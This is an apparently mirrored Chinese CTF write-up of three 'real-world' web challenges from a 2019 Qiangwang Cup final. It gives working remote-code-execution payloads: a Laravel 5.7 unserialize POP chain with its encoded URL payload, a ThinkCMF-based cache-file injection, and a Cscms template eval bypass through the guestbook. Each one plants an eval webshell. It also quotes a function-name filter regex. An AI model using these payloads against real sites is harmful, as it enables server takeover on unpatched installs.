3

强网杯决赛RW的3个Web题

 2 years ago
source link: https://cyc1e183.github.io/2019/06/16/%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%86%B3%E8%B5%9BRW%E7%9A%843%E4%B8%AAWeb%E9%A2%98/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这次真的是神仙打架,web狗无处苟活,AWD只有PWN题,所以Web狗只能奋力怼RW的3个web,这里不得不膜一下大师傅们,审得太快了,第二天排队排太久,啥血也没抢到,简单写下3个web的解题思路……这里放下源码,方便复现(https://pan.baidu.com/s/1WngiF9tTCMZq7SKqDaOa6g 提取码: kj7b)

0x01 laravel

这个下发的版本是5.7,并且之前有人发表过对该版本的漏洞的分析文章,所以这题差不多算是一个web签到题,这里贴一下链接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
在写这个分析文章的时候,大师傅可能避嫌把这个页面关了,也就是在程序流处理过程中,我们可以控制序列化的内容,所以只要构造一个反序列化点就可以触发该反序列RCE漏洞,刚好这个题目的设定就是给了反序列化点的。
/public/index.php:

namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
public function index()
{
if(isset($_GET['code']))
{
$code = $_GET['code'];
unserialize($code);
return "Welcome to qiangwangbei!";
}
}
}
?>

这里给了一个反序列化利用点所以我们只要把序列化的内容赋给code参数就可以了,直接贴Exp代码(反正也不是我写的,因为赛制要求拿到shell,而且只有index.php可写,这个地方坑了我的第一次机会,吐槽一下)
get.php

<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>

rce.php

<?php
include("get.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('echo "<?php eval(\$_REQUEST[Cyc1e]);?>" > index.php'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>

GET方式把payload打过去就好了

URL:/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A50%3A%22echo+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5Bpass%5D%29%3B%3F%3E%22+%3E+index.php%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

0x02 YxtCmf

第一天的下午一直在审这个cmf框架的源码,是基于ThinkPhp框架进行二次开发的,thinphp的缓存机制算是比较有意思的,主要思路是通过控制缓存文件来拿shell,查看thinkcmf的一个文档

设置了动态更新系统配置的函数,查看一下sp_set_dynamic_config函数的内容

function sp_set_dynamic_config($data){

if(!is_array($data)){
return false;
}

if(sp_is_sae()){
$kv = new SaeKV();
$ret = $kv->init();
$configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
}elseif(defined('IS_BAE') && IS_BAE){
$bae_mc=new BaeMemcache();
$configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
}else{
$config_file="./data/conf/config.php";
if(file_exists($config_file)){
$configs=include $config_file;
}else {
$configs=array();
}
$configs=array_merge($configs,$data);
$result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
}
sp_clear_cache();
S("sp_dynamic_config",$configs);
return $result;
}

把$config和字符串“THINKCMF_DYNAMIC_CONFIG”,传入了set函数,set函数是一个写入缓存文件的函数,也就是把sp_set_dynamic_config传入的固定字符串处理后当作文件名生成,传入的$config的数据为缓存文件的内容,也就是说控制了缓存内容在拿到缓存文件名就可以控制缓存文件了,所以接下来就是找哪一个sp_set_dynamic_config函数我们可以用,因为题目环境设定是把admin、install等目录给去了,也就限制了利用访问,本菜习惯用notepad++,所以全局搜索sp_set_dynamic_config的调用情况,再排除一下,最终确定了\application\Api\Controller\OauthController.class.php中的sp_set_dynamic_config可以任意控制

function injectionAuthocode(){
$postdata=I('post.');
$configs["authoCode"]=$postdata['authoCode'];
sp_set_dynamic_config($configs);
}

缓存文件里的内容是注释后的序列化值,所以构造一下post值换行再注释后面的语句就可以写入任意代码了

POST:authoCode=Cyc1e%0aeval($_REQUEST[pass]);//

接下来就是缓存文件名的问题了(毕竟缓存文件名是个md5值,爆破是不可能的),分析set函数即可,发现就是两个固定的字符串拼接处理,所以这就是一个固定的值了,缓存的文件名固定为ed182ead0631e95e68e008bc1d3af012.php,本地生成了直接上台打就行了,第一天下午就分析到这,卡在了路由触发规则上,大写的尴尬,到酒店继续看了下,是自己傻了,路由规则看错了,所以最后的payload

URL:/index.php/api/oauth/injectionAuthocode
POST:authoCode=Cyc1e%0aeval($_REQUEST[Cyc1e]);//
PATH:/data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php
直接触发就好了

0x03 Cscms

这题晚上才开始审,查了下最近报出的洞,发现这个cms好像是凉了的,最近的也就是17年的了,有一个SSTI的补丁,而且怎么找到找不到这个补丁的代码,就顺着这个思路去了,既然不让我找到,那估计就有问题的嘛,2333,这题给的题目信息一样是删除了admin、install目录,所以一样是前台的洞了,既然是SSTI,那肯定是有一个代码执行点的,全局搜索eval函数,最终定位到
\cscms\app\models\Csskins.php

// php标签处理
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}

只要控制了$content,就可以执行任意代码,进行函数的回溯,这个最难受了,就一个template_parse函数调用了cscms_php,定位php处理代码

//PHP代码解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);

也就是说正则匹配{cscmsphp}([\s\S]+?){/cscmsphp},把匹配到的数据传给cscms_php,再利用eval直接执行,分析到这逻辑就很清晰了,就是要找一个前台的调用了template_parse函数的地方,控制输入的内容,就可以实现任意代码执行,全局搜索调用情况,定位一个好调用的地方:\plugins\sys\home\Gbook.php(意见留言板,不用任何权限直接触发),其中的ajax函数对其进行了调用

$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);

也就是获取到留言板输入的内容,传入到template_parse函数中,所以我们构造留言数据的时候,加上{cscmsphp}{/cscmsphp}便签就会传到eval函数中,测试了下eval($_REQUEST[Cyc1e]);,然后失败了,尽然还有转义,也是很有意思,找到处理代码。

$str = preg_replace('#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si','\\1\\2(\\3)',$str);
就过滤了这几个,所以构造下payload:
URL:index.php/gbook
留言数据:{cscmsphp}assert($_REQUEST[Cyc1e]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?Cyc1e=phpinfo();

0x04 小结

总的来说,神仙打架,Web狗没前途,神仙们都不在意Web的那一丢丢分


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK